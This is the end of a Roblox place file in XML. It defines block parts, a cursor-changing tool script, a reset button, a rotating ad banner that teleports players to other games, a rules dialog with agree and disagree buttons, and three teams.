						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.25</X>
							<Y>0.428571433</Y>
							<Z>0.25</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6512">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>1.4576993</X>
						<Y>1.67341208</Y>
						<Z>0.498406172</Z>
						<R00>0.00103875995</R00>
						<R01>-0.999937296</R01>
						<R02>-0.0109554976</R02>
						<R10>0.000682834536</R10>
						<R11>0.010952495</R11>
						<R12>-0.999940217</R12>
						<R20>0.99999696</R20>
						<R21>0.00103238225</R21>
						<R22>0.000691246241</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00289673172</X>
						<Y>-0.00209712214</Y>
						<Z>0.00022578417</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.101355873</X>
						<Y>-0.00338157173</Y>
						<Z>0.00918642525</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>0.400000006</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX6513">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.107142858</X>
							<Y>0.142857134</Y>
							<Z>0.285714298</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6514">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>1.33113563</X>
						<Y>1.53820014</Y>
						<Z>0.498629749</Z>
						<R00>0.00103889406</R00>
						<R01>0.128315553</R01>
						<R02>0.99173063</R02>
						<R10>0.000682672486</R10>
						<R11>-0.991733193</R11>
						<R12>0.128318965</R12>
						<R20>0.99999696</R20>
						<R21>0.000540604815</R21>
						<R22>-0.00111863017</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00289673172</X>
						<Y>-0.00209712214</Y>
						<Z>0.00022578417</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.10132581</X>
						<Y>-0.0034095</Y>
						<Z>0.00931267813</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>0.400000006</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX6515">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.107142858</X>
							<Y>0.142857134</Y>
							<Z>0.285714298</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6516">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>2.82318854</X>
						<Y>2.01528358</Y>
						<Z>0.496738315</Z>
						<R00>-0.00103895366</R00>
						<R01>-0.99173069</R01>
						<R02>-0.128315404</R02>
						<R10>-0.000682799146</R10>
						<R11>-0.128318816</R11>
						<R12>0.991733253</R12>
						<R20>-0.99999702</R20>
						<R21>0.00111873448</R21>
						<R22>-0.000540754059</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.00289673172</X>
						<Y>-0.00209712214</Y>
						<Z>0.00022578417</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.101429567</X>
						<Y>-0.00307809701</Y>
						<Z>0.0110597126</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="CylinderMesh" referent="RBX6517">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.285714298</X>
							<Y>0.214285716</Y>
							<Z>0.285714298</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX6518">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = true
	mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;

	--wait(.8)
	--mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	--enabled = true
	--mouse.Button1Up:connect(function() onButton1Up(mouse) end)

end


function onButton1Up(mouse)
enabled = false
Tool.Enabled = false
mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;

wait(.8)

mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;
enabled = true
Tool.Enabled = true
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?id=2966012&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)	
	mouse.Button1Up:connect(function() onButton1Up(mouse)end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
				</Properties>
				<Item class="Timer" referent="RBX6519">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">utj4gi6k</string>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
	<Item class="StarterGui" referent="RBX6520">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">StarterGui</string>
			<bool name="ShowDevelopmentGui">true</bool>
		</Properties>
		<Item class="ScreenGui" referent="RBX6521">
			<Properties>
				<bool name="Archivable">true</bool>
				<string name="Name">Reset</string>
			</Properties>
			<Item class="TextButton" referent="RBX6522">
				<Properties>
					<bool name="Active">true</bool>
					<bool name="Archivable">true</bool>
					<bool name="AutoButtonColor">true</bool>
					<Color3 name="BackgroundColor3">4279308561</Color3>
					<float name="BackgroundTransparency">0</float>
					<Color3 name="BorderColor3">4294967040</Color3>
					<int name="BorderSizePixel">1</int>
					<bool name="Draggable">false</bool>
					<token name="Font">0</token>
					<token name="FontSize">0</token>
					<string name="Name">TextButton</string>
					<UDim2 name="Position">
						<XS>0</XS>
						<XO>0</XO>
						<YS>0</YS>
						<YO>0</YO>
					</UDim2>
					<bool name="Selected">false</bool>
					<UDim2 name="Size">
						<XS>0</XS>
						<XO>100</XO>
						<YS>0</YS>
						<YO>50</YO>
					</UDim2>
					<token name="SizeConstraint">0</token>
					<token name="Style">0</token>
					<string name="Text">Reset</string>
					<Color3 name="TextColor3">4294901760</Color3>
					<float name="TextTransparency">0</float>
					<bool name="TextWrap">false</bool>
					<token name="TextXAlignment">2</token>
					<token name="TextYAlignment">1</token>
					<bool name="Visible">true</bool>
					<int name="ZIndex">1</int>
				</Properties>
				<Item class="Script" referent="RBX6523">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<ProtectedString name="Source">function onButtonClicked()

script.Parent.Parent.Parent.Parent.Character.Humanoid.Health = 0

end

script.Parent.MouseButton1Click:connect(onButtonClicked)</ProtectedString>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="LocalScript" referent="RBX6524">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">CreateAdGui</string>
				<ProtectedString name="Source">Ads = {
{22896776,&quot;Survive Da River Rapids :O -- Fixed&quot;},
{25589217,&quot;Survive An Avalanche ll - O&apos;Mega Update!&quot;},
{455332,&quot;Call Of Robloxia - Zombies: Revive!&quot;}
{24992144,&quot;Own An Airport Tycoon ll - Finished!&quot;}
}

--Example of Table:
--[[

Ads = {
{18540115,&quot;Survive 90 Disasters&quot;},
{14375697,&quot;Sword Fight Tournament&quot;},
{483633,&quot;Heli Wars&quot;}
}

Ads = {  --Put the Places ID first, then the places name.
{PlaceId,&quot;PlaceName&quot;},
{PlaceId,&quot;PlaceName&quot;} --Do not put a &apos;,&apos; after if it is the last one!
}

--]]

-----------
--Options--
-----------

Position = 0
--0 = Bottom Right
--1 = Bottom Left
--2 = Mid Left
--3 = Mid Right
--4 = Upper Left

Randomize = false
--If it should show ads in a random order

-----------
--Options--
-----------

-------------------------------------------
-------------NO TOUCHY BELOW---------------
-------------------------------------------

CurSel = 0
Hub = &quot;http://www.roblox.com/Thumbs/Asset.ashx?format=png&amp;width=420&amp;height=230&amp;assetId=&quot;

--Please note that these objects are created in a specific order
--Create ScreenGui
local s = Instance.new(&quot;ScreenGui&quot;)
s.Name = &quot;AdGui&quot;
s.Parent = script.Parent

--Setup the Frames
local f = Instance.new(&quot;Frame&quot;)
f.Name = &quot;Main&quot;
f.Style = &quot;RobloxSquare&quot;
if Position == 0 then
	f.Position = UDim2.new(0.73,0,0.75,0)
elseif Position == 1 then
	f.Position = UDim2.new(0.025,0,0.75,0)
elseif Position == 2 then
	f.Position = UDim2.new(0.025,0,0.5,0)
elseif Position == 3 then
	f.Position = UDim2.new(0.73,0,0.5,0)
elseif Position == 4 then
	f.Position = UDim2.new(0.025,0,0.3,0)
else
	f.Position = UDim2.new(0.73,0,0.75,0)
end
f.Size = UDim2.new(0.21,0,0.12,0)
f.Parent = s
local w = Instance.new(&quot;Frame&quot;)
w.Name = &quot;Click&quot;
w.Style = &quot;RobloxSquare&quot;
w.Position = UDim2.new(-0.125,0,1.15,0)
w.Size = UDim2.new(1.25,0,0.27,0)
w.Parent = f
local y = Instance.new(&quot;Frame&quot;)
y.Name = &quot;Namez&quot;
y.Style = &quot;RobloxSquare&quot;
y.Position = UDim2.new(-0.125,0,-0.405,0)
y.Size = UDim2.new(1.25,0,0.27,0)
y.Parent = f

--Setup the TextLabels
local t = Instance.new(&quot;TextLabel&quot;)
t.Name = &quot;Tex&quot;
t.BackgroundTransparency = 1
t.Font = &quot;ArialBold&quot;
t.FontSize = &quot;Size18&quot;
t.Text = &quot;Click Image To Visit!&quot;
t.TextColor3 = Color3.new(1,1,1)
t.TextWrap = true
t.Position = UDim2.new(0,0,0,0)
t.Size = UDim2.new(1,0,1,0)
t.Parent = w
local l = Instance.new(&quot;TextLabel&quot;)
l.Name = &quot;Tex&quot;
l.BackgroundTransparency = 1
l.Font = &quot;ArialBold&quot;
l.FontSize = &quot;Size18&quot;
l.Text = &quot;Blank Game&quot;
l.TextColor3 = Color3.new(1,1,1)
l.TextWrap = true
l.Position = UDim2.new(0,0,0,0)
l.Size = UDim2.new(1,0,1,0)
l.Parent = y

--Setup ImageButton
local z = Instance.new(&quot;ImageButton&quot;)
z.Name = &quot;Img&quot;
z.BackgroundTransparency = 1
z.Position = UDim2.new(-0.05,0,-0.125,0)
z.Size = UDim2.new(1.1,0,1.25,0)
z.Parent = f

--Click to Teleport Function
z.MouseButton1Up:connect(function()
	pcall(function()
		game:GetService(&quot;TeleportService&quot;):Teleport(Ads[CurSel][1])
	end)
end)

--Create Cycle
while true do
	if not Randomize then
		CurSel = CurSel +1
		if CurSel &gt; #Ads then
			CurSel = 1
		end
	elseif Randomize then
		CurSel = math.random(1,#Ads)
	end
	z.Image = Hub ..Ads[CurSel][1]
	l.Text = Ads[CurSel][2]
	wait(5)
end </ProtectedString>
			</Properties>
		</Item>
	</Item>
	<Item class="SoundService" referent="RBX6525">
		<Properties>
			<token name="AmbientReverb">0</token>
			<bool name="Archivable">true</bool>
			<float name="DistanceFactor">10</float>
			<float name="DopplerScale">1</float>
			<string name="Name">SoundService</string>
			<float name="RolloffScale">1</float>
		</Properties>
	</Item>
	<Item class="CollectionService" referent="RBX6526">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">CollectionService</string>
		</Properties>
	</Item>
	<Item class="PhysicsService" referent="RBX6527">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">PhysicsService</string>
		</Properties>
	</Item>
	<Item class="BadgeService" referent="RBX6528">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">BadgeService</string>
		</Properties>
	</Item>
	<Item class="Geometry" referent="RBX6529">
		<Properties>
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						<bool name="Archivable">true</bool>
						<bool name="AutoButtonColor">true</bool>
						<Color3 name="BackgroundColor3">4278190080</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4294901760</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="Draggable">false</bool>
						<token name="Font">0</token>
						<token name="FontSize">0</token>
						<string name="Name">TextOK</string>
						<UDim2 name="Position">
							<XS>0.200000003</XS>
							<XO>0</XO>
							<YS>0.5</YS>
							<YO>0</YO>
						</UDim2>
						<bool name="Selected">false</bool>
						<UDim2 name="Size">
							<XS>0.5</XS>
							<XO>0</XO>
							<YS>0.100000001</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<string name="Text">Lets Play!</string>
						<Color3 name="TextColor3">4278255360</Color3>
						<float name="TextTransparency">0</float>
						<bool name="TextWrap">false</bool>
						<token name="TextXAlignment">2</token>
						<token name="TextYAlignment">1</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Script" referent="RBX6557">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">print(&quot;Close button loaded&quot;)

button = script.Parent
window = script.Parent.Parent.Parent.Parent

function onClicked(GUI)
	window:remove()
end
script.Parent.MouseButton1Click:connect(onClicked)</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="TextButton" referent="RBX6558">
					<Properties>
						<bool name="Active">true</bool>
						<bool name="Archivable">true</bool>
						<bool name="AutoButtonColor">true</bool>
						<Color3 name="BackgroundColor3">4278190080</Color3>
						<float name="BackgroundTransparency">0</float>
						<Color3 name="BorderColor3">4294901760</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="Draggable">false</bool>
						<token name="Font">0</token>
						<token name="FontSize">0</token>
						<string name="Name">TextNO</string>
						<UDim2 name="Position">
							<XS>0.200000003</XS>
							<XO>0</XO>
							<YS>0.600000024</YS>
							<YO>0</YO>
						</UDim2>
						<bool name="Selected">false</bool>
						<UDim2 name="Size">
							<XS>0.5</XS>
							<XO>0</XO>
							<YS>0.100000001</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<string name="Text">Disagree</string>
						<Color3 name="TextColor3">4278255360</Color3>
						<float name="TextTransparency">0</float>
						<bool name="TextWrap">false</bool>
						<token name="TextXAlignment">2</token>
						<token name="TextYAlignment">1</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Script" referent="RBX6559">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">print(&quot;Disagree&quot;)

button = script.Parent
human = script.Parent.Parent.Parent.Parent.Parent.Parent

function onClicked(GUI)
	wait(0.1)
	human:remove()
end
script.Parent.MouseButton1Click:connect(onClicked)</ProtectedString>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
	</Item>
	<Item class="ChangeHistoryService" referent="RBX6560">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">ChangeHistoryService</string>
		</Properties>
	</Item>
	<Item class="Teams" referent="RBX6561">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">Teams</string>
		</Properties>
		<Item class="Team" referent="RBX6562">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">true</bool>
				<string name="Name">Blue Robloxians</string>
				<int name="Score">0</int>
				<int name="TeamColor">23</int>
			</Properties>
		</Item>
		<Item class="Team" referent="RBX6563">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">true</bool>
				<string name="Name">Red Rebbels</string>
				<int name="Score">0</int>
				<int name="TeamColor">1004</int>
			</Properties>
		</Item>
		<Item class="Team" referent="RBX6564">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">true</bool>
				<string name="Name">Yellow Gremlins</string>
				<int name="Score">0</int>
				<int name="TeamColor">24</int>
			</Properties>
		</Item>
	</Item>
</roblox>